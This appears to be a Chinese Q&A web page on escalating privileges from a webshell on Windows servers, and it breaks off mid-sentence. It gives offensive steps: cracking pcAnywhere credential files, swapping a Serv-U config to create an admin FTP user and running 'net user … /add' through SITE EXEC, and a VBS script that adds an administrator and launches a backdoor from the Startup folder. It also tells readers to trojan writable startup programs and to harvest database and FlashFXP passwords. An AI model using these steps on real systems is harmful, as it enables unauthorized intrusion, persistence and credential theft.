如何在服务器上用微软自带FTP提权?

如何在服务器上用微软自带FTP提权?,第1张

微软的ftp目前没有提权的漏洞,只是在早期的2000系统的iss中有,但是早就不存在了。所以ftp提权放弃吧。限制的目录跳转只是禁止权限继承而已,还是从cmd
shell下手吧。

呵呵,提权到服务器比较复杂了,这个要看你拿到的网站有没有文件上传权限,即使有,有没有动态文件上传功能,否则没办法的,还有最重要的就是,你拿的网站是放在独立主机还是虚拟主机下,独立主机你放小马就好了,虚拟主机就放弃吧,拿了也没用了,你是拿不到服务器权限的

第一
如果服务器上有装了pcanywhere服务端,管理员为了管理方便
也给了我们方便,到系统盘的Documents and Settings/All Us
ers/Application Data/Symantec/pcAnywhere/中下载cif本地
破解就使用pcanywhere连接就ok了
第二
有很多小黑问我这么把webshell的iis user权限提升
一般服务器的管理都是本机设计完毕然后上传到空间里,
那么就会用到ftp,服务器使用最多的就是servu
那么我们就利用servu来提升权限
通过servu提升权限需要servu安装目录可写~
好开始把,首先通过webshell访问servu安装文件夹下的ServUDaemonini把他下载
下来,然后在本机上安装一个servu把ServUDaemonini放到本地安装文件夹下覆盖,
启动servu添加了一个用户,设置为系统管理员,目录C:\,具有可执行权限
然后去servu安装目录里把ServUDaemonini更换服务器上的。
用我新建的用户和密码连接~
好的,还是连上了
ftp
ftp>open ip
Connected to ip
220 Serv-U FTP Server v5004 for WinSock ready
User (ip:(none)): id //刚才添加的用户
331 User name okay, please send complete E-mail address as password
Password:password //密码
230 User logged in, proceed
ftp> cd winnt //进入win2k的winnt目录
250 Directory changed to /WINNT
ftp>cd system32 //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec netexe user rover rover1234 /add //利用系统的netexe
文件加用户。
如果提示没有权限,那我们就
把后门(serverexe) 传他system32目录
然后写一个VBs教本
set wshshell=createobject ("wscriptshell")
a=wshshellrun ("cmdexe /c net user user pass /add",0)
b=wshshellrun ("cmdexe /c net localgroup Administrators user /add",0)
b=wshshellrun ("cmdexe /c serverexe",0)

存为xxvbe
这个教本的作用是建立user用户密码为pass
并且提升为管理员
然后执行system32目录下的serverexe
把这个教本传他 C:\Documents and Settings\All Users\「开始」菜单\程序\启动
目录
这样管理员只要一登陆就会执行那个教本
接下来就是等了等他登陆
第三
就是先检查有什么系统服务,或者随系统启动自动启动的程序和管理员经常使用的软件, 比如诺顿,VAdministrator,金山,瑞星,WinRAR甚至QQ之类的,是否可以写,如果可以就修改其程序, 绑定一个批处理或者VBS,然后还是等待服务器重启。
第四
查找conn和config ,pass这类型的文件看能否得到sa或者mysql的相关密码,可能会有所
收获等等。

第五
使用Flashfxp也能提升权限,但是成功率就看你自己的运气了
首先找到FlashFXP文件夹,打开(编辑)Sites dat,这个文件这是什么东西密码和用户名,
而且密码是


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/12809539.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-28
下一篇 2023-05-28

发表评论

登录后才能评论

评论列表(0条)

保存